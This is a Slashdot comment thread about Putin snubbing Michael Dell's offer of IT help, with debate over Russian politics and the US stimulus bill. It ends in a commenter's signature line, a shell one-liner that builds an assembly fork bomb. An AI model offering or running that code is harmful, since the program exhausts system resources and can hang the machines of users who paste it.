Slashdot Mirror
Comrade, You Are So Not Getting a Dell
theodp writes "At the World Economic Forum, Michael Dell's pitch to help Russia with its computers got the cold-as-Siberia shoulder from Prime Minister Vladimir Putin. 'We don't need help,' shot back Putin. 'We are not invalids. We don't have limited mental capacity' (video — rant starts at 1:24). 'Our programmers are some of the best in the world,' Putin continued. 'No one would contest that here — not even our Indian colleagues.'"
Not going back far enough. The Russian fear of being perceived as backass country folk goes all the way back to the Tsars. Russia really wanted to be counted among European nobility, but could never really cut it, so they are hyper-sensitive to anything indicating that they are not up-to-date/cutting edge. AFAIK, "nekulturny" (literally, uncultured) is still the highest insult you can throw at a Russian.
"As God is my witness, I thought turkeys could fly." A. Carlson
Of course, Putin is actually also correct to be worried. The 90s was full of foreign consultants coming over to Moscow and giving unbelievably bad advice that lead to premature loosening of all controls and a kleptocratic oligarchy shortly after that.
Now imagine that combined with a foreign profit seeking company offering to do the helping. I'm not entirely surprised Putin reacted as you would if Bill Gates came over to your FOSS startup and asked if you'd like an MS sales team to give you some free help and advice. Quite how naive do we assume Putin to be here? Russia isn't some failed state that cannot run it's own programs and make it's own choices. Authoritarian, yes, but competent at it.
"To any truly impartial person, it would be obvious that I am right."
In Putin's defense, he was slapping down a marketing pitch. The linked article gets it wrong on a subtle but significant detail: Mr. Dell didn't ask "If" Dell could help, he asked "How" Dell could help.
Who can blame Putin for being offended by the implication that Russia needed Mr. Dell's help? So he let him have it with both barrels, much as any of us might react to an unwanted and annoying telemarketer, if they gave us a similarly arrogant pitch.
And by the way, shouldn't the lame jokes be changed to start with "In post-Soviet Russia"?
No, it was more like "when are you going to start treating us as equals?"
Seven puppies were harmed during the making of this post.
Not that I agree with him, but I understand Putin's response. Look at it from Putin's POV: Putin is a very strong nationalist. And just about every country, not least Russia, tends to be quite sensitive to American condescension or arrogance, real or perceived. So when Dell says, in what would be an okay-ish remark between Americans, 'how can we help you', it's easily felt as condescending in foreign eyes. Especially Russian ones and especially Putin's. Add to that the cultural factor of Russian temperament and you get what Putin said. Dell probably should have phrased it in a more neutral manner. For instance, he could have been more generalized and simply ask "How can the IT sector in Russia be expanded to better utilize the reserves of talent there?" Or something similar. By his response, you'll find out if there's a role for you or not. So simply by dropping the 'How can we help' bit, you avoid the implication that they _need_ help (even if they do, nobody really wants to be told that by someone else) and the further implication that 'we' are the only ones who can do so.
Putin wasn't reacting to Dell offering computers so much as Dell suggesting that Russia had a problem with technical talent that needed addressing, which *is* obviously absurd! Even if Russia did have a problem developing IT talent, the solution isn't a big order of Dell computers, even if Dell honestly thinks it is.
That's an unreasonable expectation. If you fuck up for eight years in a row, you don't simply stop hearing about it a few weeks after you begin to stop.
Obama is that less of the money will go to the military-industrial complex and tax cuts for the rich, and more into infrastructure and services that benefit greater number of people. I think that's potentially good, but doesn't change the fact that the federal budget deficit is downright terrifying and unsustainable.
I have no argument that Bush (and both GOP/Democrat congresses) spent way too much, but the current "Stimulus/Recovery/Whatever-the-hell" bill is good money after bad. A significant portion of the money goes into Medicaid, Medicare, and "state-aid".
Cover state budget holes, and state legislatures will spend the money on something else. Meanwhile, the federal budget gets a new, higher, $1 trillion dollar deficit a year floor.
You want Keynesian Stimulus? Spend $200-400 billion on infrastructure. You want Reagan Stimulus? Spend $200-400 on infrastructure, and another $200-400 on pro-business tax cuts.
The current bill is neither of those things, pays a small amount towards national 'capital' assets, and borrows a vast amount of money to fill structural holes in state budgets.
*shrug*
I don't think you can stimulate the economy, or fix long-term structural budgetary problems, by kicking funding for schools, healthcare, and other transfer payments down the road 2 years (which is *exactly* what this bill does). So; Pell Grants get $20 billion for 2009-2010? What about 2011? Not only does the shortfall get bigger, but then we have to cope with the additional interest on the borrowed money to fill today's budgetary hole.
I'm all for targeted tax cuts that increase future tax revenue (capital gains taxes). I'm all for infrastructure funding that either reduces future budgetary needs (energy efficiency can do that), or increases economic activity (better ports, internet, and highways ->more business->bigger tax base).
But if we spend/borrow $1 trillion, and don't get a significant amount of long term growth out of it, we're just digging a deeper hole, and that's exactly what the big O is planning to do.
I've told other people, and I'll post it on Slashdot, for which I'll get ridiculed. Unless there are some dramatic sunset provisions in this bill, or the economy starts magically growing at 4-5% a year, people will remember the days of Bush as "The Good Old Days", when budget deficits were no more than a few hundred billion, and the national debt was under $20 trillion. When spending $600 billion on a war over 5 years was considered profligate waste.
We've pole-vaulted over the $1 trillion dollar per-year deficit level, and we don't even have anything cool to show for it (like, I dunno, space factors, a city on the moon, or Nuclear Fusion).
WhiteWolf666 an exBush supporter. All you new-school,compassionate,save the children Republicans can rot in hell
This is surely incorrect. The USSR functioned for almost seven decades. The people of the Ukraine clearly had a falling standard of living as Stalin starved them but failed to successfully revolt or change the system. Likewise in China, the cultural revolution was not something associated with a huge rise in living standards but Communism survived. Or the Castros in Cuba after the fall of the USSR and resultant drop in subsidy. Or Afghanistan moving from Soviet subsidy to Taliban control. Or the long reign of Pinochet in Chile. Or, indeed, the continued existence of Zimbabwe as a state.
I would suggest that authoritarianism does not require a rise in living standards to keep on going, and indeed I would suggest that a perception of danger and mass insecurity in the face of either economic or military threat is what often creates it in hard times. If you are American you have surely just lived through a period where the political utility of the perceptual emergency was clear.
"To any truly impartial person, it would be obvious that I am right."
While I appreciate that this is a popular position for the Norquist/Libeterian crowd, I do not agree.
Well, never though of myself as a Libertarian...
To clarify my thoughts; well, all G7 Govs. seem to have dropped the economic ball - in some way or another - in recent times, so we may, I suggest, reasonably claim that they're all incompetent in that regard.
Let's turn to the main point, to whit Putin. He has ruthlessly and systematically concentrated power just as much as any Tzar, (to be fair, so have others - think Burlusconi, Chavez...) I suggest it is therefore reasonable to assign the current condition of the Russian economy and state pretty much to him.
Now, do you seriously suggest that those two things are in good shape? Major western economies are in the toilet, for sure, but on all other criteria (democracy, corruption, life expectancy...) we're way ahead. My concern is that the signs are not good for progress in Rusia on ANY front.
1) Putin did not address the economy well. Rising commodity prices addressed the Russian economy. No structural problems were addressed, and until they are, Russia will falter every time commodity prices go down. What happened to the scientific prowess of the Soviet Union? Putin has not restored that. Russia is not a leader in any high-tech industries, despite what Putin thinks.
3) Putin is asserting Russia's interests in a typically moronic Russian manner. That is to say, he is trying to set Russia up as a Great Power and an ideological competitor to the West. But it doesn't have the population, resources, or technology to do this, so all it is doing is spending its money wastefully on these vanity projects. I mean, take something like selling missiles to Syria. It gains Russia almost nothing (some small money in arms sales and close ties with an country that still leaves Russia without any real leverage in the Middle East), but Russia pursues it because it is a poke in the eye to America. Much of Russia's policy seems more geared towards annoying the US (to prove that Russia can do what it wants) than doing anything useful for Russia.
Let me put it this way. In 20 years, China and India will be rich and fully integrated into the global system. Russia, which 20 years ago was far ahead of both, will likely not be. For that, Putin needs to answer.
4) What Dell said is standard business/political talk. It's a polite way of asking, "Is there anything we can invest in that would make both of us rich?" That's why politicians go on foreign trips trying to drum up business from investors, and why countries fly their own investors overseas to meet with foreign countries to solidify relations. Even if there are no specific opportunities for Dell right now, it is incredibly stupid for Putin to respond this one. It just sends a message to foreign investors that they are not wanted in Russia (a message already sent by Putin's actions to seize foreign investments in Russia's oil). How does eliminating foreign investment help the Russian people?
Now, do you seriously suggest that those two things are in good shape? Major western economies are in the toilet, for sure, but on all other criteria (democracy, corruption, life expectancy...) we're way ahead. My concern is that the signs are not good for progress in Rusia on ANY front.
I would agree that the West is indeed ahead on all fronts (including economically, in fact) but it is important to bear in mind the legacy that Putin came into power with. It is not entirely propaganda that makes people compare him positively to Yeltsin, I would say. The Russian body politic looks at Putin and compares him to Gorbachev's dismantling of the USSR and Yeltsin's disposal of the assets of the state for pennies on the dollar and loss of societal control. It is therefore not surprising that a program of controlling the oligarchs and bringing them under Kremlin control is popular. The Russian economy was starting to diversify, but was indeed focussed in energy. I think it is however fair to say that the economy did better under Putin than under any Russian leadership for at least a generation.
In terms of democracy, it is of course going backwards. I am however not entirely sure that's not what Russians as a body politic (which is very different from the urban intelligentsia) actually wants. It's a problem. I would also say that in a country where Stalin almost won a greatest Russian poll (while being Georgian, oddly enough) Putin's centralisation of power is not only not as big as any Tzar's but actually quite restrained. The rule of Stalin was essentially that of a Communist Tzar, and he killed millions.
The counterargument is that Putin's air force almost bombed me in Gori, Georgia. I was however mildly amused by this.
"To any truly impartial person, it would be obvious that I am right."
Actually I think China and Russia have always been authoritarian apart from a few brief interregnums. Like the joke about women who date nice guys only when they are 'between bastards', China and Russia only have reformist governments when they are between tyrants. Typically those reformist governments collapse under attack from multiple would be tyrants. One tyrant wins and things go back to normal.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;